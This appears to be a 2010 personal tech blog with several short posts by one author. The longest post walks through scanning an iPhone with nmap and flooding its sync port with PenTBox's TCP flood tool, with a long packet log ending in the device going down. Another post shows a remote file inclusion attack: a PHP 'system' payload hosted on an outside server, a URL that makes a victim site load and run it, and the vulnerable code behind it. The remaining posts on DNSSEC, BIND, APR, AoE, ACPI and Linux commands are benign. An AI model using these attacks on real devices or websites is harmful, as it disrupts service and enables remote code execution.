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29/08/2010 : TCP Flood DoSer 26/08/2010 : Android Shell 25/08/2010 : DNS Security Extensions 25/08/2010 : Berkeley Internet Name Domain 22/08/2010 : Apache Portable Runtime 22/08/2010 : ATA over Ethernet 03/08/2010 : Advanced Configuration and Power Interface 29/07/2010 : Arbitrary Code Execution 24/07/2010 : system information
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TCP Flood DoSer 
0 vote
By teguh, on 29/08/2010 at 09:55.


in this case i use pentbox for pentest tools and iphone for victim :[

root@bsd:~# nmap -v -sS -O 192.168.182.228
Starting Nmap 5.35DC1 ( http://nmap.org ) at 2010-08-29 14:32 WIT
Initiating ARP Ping Scan at 14:32
Scanning 192.168.182.228 [1 port]
Completed ARP Ping Scan at 14:32, 0.12s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:32
Completed Parallel DNS resolution of 1 host. at 14:32, 0.27s elapsed
Initiating SYN Stealth Scan at 14:32
Scanning 192.168.182.228 [1000 ports]
Increasing send delay for 192.168.182.228 from 0 to 5 due to 31 out of 102 dropp
ed probes since last increase.
Discovered open port 62078/tcp on 192.168.182.228
Completed SYN Stealth Scan at 14:32, 10.26s elapsed (1000 total ports)
Initiating OS detection (try #1) against 192.168.182.228
Nmap scan report for 192.168.182.228
Host is up (0.024s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
62078/tcp open iphone-sync
MAC Address: 90:27:E4:7E:1D:13 (Apple)
Device type: phone|media device
Running: Apple iPhone OS 3.X
OS details: Apple iPhone mobile phone or iPod touch media player (iPhone OS 3.0 – 3.2, Darwin 10.0.0d3)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=258 (Good luck!)
IP ID Sequence Generation: Randomized

Read data files from: /usr/share/nmap
OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.78 seconds
Raw packets sent: 1186 (52.946KB) | Rcvd: 1104 (44.562KB)

root@bsd:/pentest/pentbox# ruby pentbox.rb

{ PenTBox 1.3.2 }
| .__.
\ (oo)____
(__) )–*
||–||

Born 2 Hack.

————- Menu

1- Cryptography tools

2- Network tools

3- Extra

4- License and contact

-> 2

1- TCP Flood DoSer
2- TCP Flood AutoDoSer
3- Spoofed SYN Flood DoSer [nmap - hping3]
4- Port scanner
5- Honeypot
6- PenTBox Secure Instant Messaging
7- Fuzzer

-> 1
————-

// TCP Flood DoSer //

Insert host to DoS.

-> 192.168.182.228

Insert port to DoS.

-> 62078

———–
wait a minute

log :

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8096 – 506 kB/s
Number of sent packets -> 1235846

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8450 – 528 kB/s
Number of sent packets -> 1244296

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 1252436

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8436 – 527 kB/s
Number of sent packets -> 1260872

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8204 – 512 kB/s
Number of sent packets -> 1269076

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8188 – 511 kB/s
Number of sent packets -> 1277268

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8240 – 515 kB/s
Number of sent packets -> 1285514

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8228 – 514 kB/s
Number of sent packets -> 1293742

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8254 – 515 kB/s
Number of sent packets -> 1301996

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 527 kB/s
Number of sent packets -> 1310428

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8350 – 521 kB/s
Number of sent packets -> 1318778

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8362 – 522 kB/s
Number of sent packets -> 1327140

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8250 – 515 kB/s
Number of sent packets -> 1335390

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8420 – 526 kB/s
Number of sent packets -> 1343810

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8538 – 533 kB/s
Number of sent packets -> 1352348

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8316 – 519 kB/s
Number of sent packets -> 1360664

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8410 – 525 kB/s
Number of sent packets -> 1369076

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8458 – 528 kB/s
Number of sent packets -> 1377536

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8282 – 517 kB/s
Number of sent packets -> 1385820

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8454 – 528 kB/s
Number of sent packets -> 1394274

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8336 – 521 kB/s
Number of sent packets -> 1402612

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8394 – 524 kB/s
Number of sent packets -> 1411008

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8534 – 533 kB/s
Number of sent packets -> 1419544

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8352 – 522 kB/s
Number of sent packets -> 1427902

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8360 – 522 kB/s
Number of sent packets -> 1436264

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8606 – 537 kB/s
Number of sent packets -> 1444870

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8474 – 529 kB/s
Number of sent packets -> 1453346

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8470 – 529 kB/s
Number of sent packets -> 1461816

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8396 – 524 kB/s
Number of sent packets -> 1470212

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8522 – 532 kB/s
Number of sent packets -> 1478736

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8468 – 529 kB/s
Number of sent packets -> 1487204

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8406 – 525 kB/s
Number of sent packets -> 1495612

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8450 – 528 kB/s
Number of sent packets -> 1504062

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8492 – 530 kB/s
Number of sent packets -> 1512554

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8390 – 524 kB/s
Number of sent packets -> 1520946

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8424 – 526 kB/s
Number of sent packets -> 1529372

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8408 – 525 kB/s
Number of sent packets -> 1537780

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8442 – 527 kB/s
Number of sent packets -> 1546224

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8394 – 524 kB/s
Number of sent packets -> 1554620

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8446 – 528 kB/s
Number of sent packets -> 1563070

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8412 – 525 kB/s
Number of sent packets -> 1571482

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8234 – 514 kB/s
Number of sent packets -> 1579716

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8148 – 509 kB/s
Number of sent packets -> 1587864

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8234 – 514 kB/s
Number of sent packets -> 1596098

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 1604236

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7982 – 498 kB/s
Number of sent packets -> 1612218

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8272 – 517 kB/s
Number of sent packets -> 1620494

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8424 – 526 kB/s
Number of sent packets -> 1628924

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8178 – 511 kB/s
Number of sent packets -> 1637102

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8290 – 518 kB/s
Number of sent packets -> 1645394

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8184 – 511 kB/s
Number of sent packets -> 1653580

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8302 – 518 kB/s
Number of sent packets -> 1661882

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8266 – 516 kB/s
Number of sent packets -> 1670148

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8244 – 515 kB/s
Number of sent packets -> 1678394

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8382 – 523 kB/s
Number of sent packets -> 1686776

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8274 – 517 kB/s
Number of sent packets -> 1695050

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8338 – 521 kB/s
Number of sent packets -> 1703390

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8318 – 519 kB/s
Number of sent packets -> 1711708

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8246 – 515 kB/s
Number of sent packets -> 1719954

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8230 – 514 kB/s
Number of sent packets -> 1728184

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8422 – 526 kB/s
Number of sent packets -> 1736606

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8468 – 529 kB/s
Number of sent packets -> 1745074

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8578 – 536 kB/s
Number of sent packets -> 1753652

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8110 – 506 kB/s
Number of sent packets -> 1761762

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8110 – 506 kB/s
Number of sent packets -> 1769872

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8384 – 524 kB/s
Number of sent packets -> 1778256

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 526 kB/s
Number of sent packets -> 1786686

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8402 – 525 kB/s
Number of sent packets -> 1795088

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8244 – 515 kB/s
Number of sent packets -> 1803334

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8292 – 518 kB/s
Number of sent packets -> 1811626

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8096 – 506 kB/s
Number of sent packets -> 1819726

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8214 – 513 kB/s
Number of sent packets -> 1827942

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8232 – 514 kB/s
Number of sent packets -> 1836174

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8152 – 509 kB/s
Number of sent packets -> 1844326

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8092 – 506 kB/s
Number of sent packets -> 1852422

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8332 – 520 kB/s
Number of sent packets -> 1860754

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8358 – 522 kB/s
Number of sent packets -> 1869114

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8182 – 511 kB/s
Number of sent packets -> 1877296

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8142 – 509 kB/s
Number of sent packets -> 1885442

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8156 – 509 kB/s
Number of sent packets -> 1893598

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8200 – 512 kB/s
Number of sent packets -> 1901798

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8008 – 500 kB/s
Number of sent packets -> 1909808

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7990 – 499 kB/s
Number of sent packets -> 1917798

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8348 – 521 kB/s
Number of sent packets -> 1926146

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8184 – 511 kB/s
Number of sent packets -> 1934330

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8300 – 518 kB/s
Number of sent packets -> 1942630

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8438 – 527 kB/s
Number of sent packets -> 1951068

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8300 – 518 kB/s
Number of sent packets -> 1959368

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8222 – 513 kB/s
Number of sent packets -> 1967592

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8280 – 517 kB/s
Number of sent packets -> 1975874

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8418 – 526 kB/s
Number of sent packets -> 1984292

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8090 – 505 kB/s
Number of sent packets -> 1992382

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 7962 – 497 kB/s
Number of sent packets -> 2000348

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8052 – 503 kB/s
Number of sent packets -> 2008400

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8350 – 521 kB/s
Number of sent packets -> 2016750

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8456 – 528 kB/s
Number of sent packets -> 2025206

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8112 – 507 kB/s
Number of sent packets -> 2033320

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8430 – 526 kB/s
Number of sent packets -> 2041750

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8272 – 517 kB/s
Number of sent packets -> 2050024

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8320 – 520 kB/s
Number of sent packets -> 2058344

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8120 – 507 kB/s
Number of sent packets -> 2066466

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8076 – 504 kB/s
Number of sent packets -> 2074542

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8316 – 519 kB/s
Number of sent packets -> 2082858

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8038 – 502 kB/s
Number of sent packets -> 2090898

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8138 – 508 kB/s
Number of sent packets -> 2099038

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8012 – 500 kB/s
Number of sent packets -> 2107052

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8398 – 524 kB/s
Number of sent packets -> 2115450

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8320 – 520 kB/s
Number of sent packets -> 2123770

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8152 – 509 kB/s
Number of sent packets -> 2131924

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 8264 – 516 kB/s
Number of sent packets -> 2140190

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 286 – 17 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

DoSing 192.168.182.228 on port 62078

Packets per second -> 0 – 0 kB/s
Number of sent packets -> 2140476

———–

down =(

Link to this post!

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Back to summary
Android Shell 
0 vote
By teguh, on 26/08/2010 at 08:36.


root@bsd:/android# ./adb-linux forward tcp:1035 tcp:1035
* daemon not running. starting it now *
* daemon started successfully *
root@bsd:/android# ./adb-linux forward tcp:1036 tcp:1036

AndroidShell v1.0 by 4GStudio. Based on BeanShell 2.04 by Pat Niemeyer (pat@pat.net)
ash %

:8

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Back to summary
DNS Security Extensions 
0 vote
By teguh, on 25/08/2010 at 09:48.


DNSSEC was designed to protect the Internet from certain attacks, such as DNS cache poisoning. It is a set of extensions to DNS, which provide:
a) origin authentication of DNS data,
b) data integrity, and
c) authenticated denial of existence.

These mechanisms require changes to the DNS protocol. DNSSEC adds four new resource record types: Resource Record Signature (RRSIG), DNS Public Key (DNSKEY), Delegation Signer (DS), and Next Secure (NSEC). These new RRs are described in detail in RFC 4034.

It also adds two new DNS header flags: Checking Disabled and Authenticated Data . In order to support the larger DNS message sizes that result from adding the DNSSEC RRs, DNSSEC also requires EDNS0 support (RFC 2671).

Finally, DNSSEC requires support for the DNSSEC OK (DO) EDNS header bit (RFC 3225) so that a security-aware resolver can indicate in its queries that it wishes to receive DNSSEC RRs in response messages. By checking the signature, a DNS resolver is able to check if the information is identical (correct and complete) to the info on the authoritative DNS server.

DNSSEC services protect against most of the threats to the Domain Name System. There are several distinct classes of threats to the Domain Name System, most of which are DNS-related instances of more general problems, but a few of which are specific to peculiarities of the DNS protocol.

Link to this post!

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Back to summary
Berkeley Internet Name Domain 
0 vote
By teguh, on 25/08/2010 at 09:42.


BIND is an implementation of the DNS protocols and provides an openly redistributable reference implementation of the major components of the Domain Name System, including:

  • Domain Name System server
  • Domain Name System resolver library
  • Tools for managing and verifying the proper operation of the DNS server

The BIND DNS Server is used on the vast majority of name serving machines on the Internet, providing a robust and stable architecture on top of which an organization’s naming architecture can be built.

The resolver library included in the BIND distribution provides the standard APIs for translation between domain names and Internet addresses and is intended to be linked with applications requiring name service.

:[

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Back to summary
Apache Portable Runtime 
1 vote
By teguh, on 22/08/2010 at 08:32.


FYI 8)
The mission of the APR is to create and maintain software libraries that provide a predictable and consistent interface to underlying platform-specific implementations. The primary goal is to provide an API to which software developers may code and be assured of predictable if not identical behaviour regardless of the platform on which their software is built, relieving them of the need to code special-case conditions to work around or take advantage of platform-specific deficiencies or features.

Download mirror.

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ATA over Ethernet 
0 vote
By teguh, on 22/08/2010 at 08:17.


Aoe is a network protocol designed for simple, high-performance access of SATA storage devices over Ethernet networks. AoE does not rely on network layers above Ethernet, such as the IP and TCP that iSCSI requires. This makes AoE potentially faster than iSCSI, with less load on the host to handle the additional protocols. We may use AoE in place of NBD or NFS for the KIWI-LTSP. Rather AoE is a yet another efficient mechanism to transfer the compressed squashfs’ed chroot images in the evolutionary path of LTSP.
aeotools distributed at coraid

With ATA hard drives now being cheaper than tape, this simple new storage technology enables you to build storage arrays for archives, backup or live use.

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Advanced Configuration and Power Interface 
1 vote
By teguh, on 03/08/2010 at 07:14.


ACPI enables the operating system to control the amount of power given to each device attached to the computer. With ACPI, the operating system can turn off peripheral devices, such as a CD-ROM players, when they’re not in use. As another example:
- push power off for shutdown
- switching powerline mode or battery mode
- up/down volume
- brightness automatically
- suspend, hibernate, resume OS
- up/down spesial tombol like open browser, email, bluetooth, locking
- etc
any question? 8)

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    Arbitrary Code Execution 
    1 vote
    By teguh, on 29/07/2010 at 14:22.


    hm.. Arbitrary Code Execution :[

    create malicious code in software like use ldd exploit or malicious function like libc mySQL

    execute command on website
    example :

    < ?php system('ls'); exit; ? >

    http://alko.web.id/example.txt

    http://victim.com/vuln.php?path=http%3A%2F%2Falko.web.id%2Fexample.txt%3F

    coz

    if ($HTTP_POST_VARS) {
    foreach ($HTTP_POST_VARS as $var => $value) {
    $$var = $value;
    }
    }

    not usually get profit like crash Opera 10.01 almost 8)

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    system information 
    1 vote
    By teguh, on 24/07/2010 at 12:58.


    #arch
    show architecture of computer

    #uname -a
    show core version and system architecture

    #cat /proc/partitions
    show all sections,registered in system

    #grep MemTotal /proc/meminfo
    show all random access memory,recognized by system

    #mount | column -t
    list of mounted file system in system

    #hdparm -i /dev/sda
    show information about sda

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    show information about cpu

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    show network interface and statistic

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    show interrupts

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    show PCI devices as a tree

    EOT ( End Of Tutorial) :)

    edwa wrote:
    #lsusb -tv
    show usb devices as a tree

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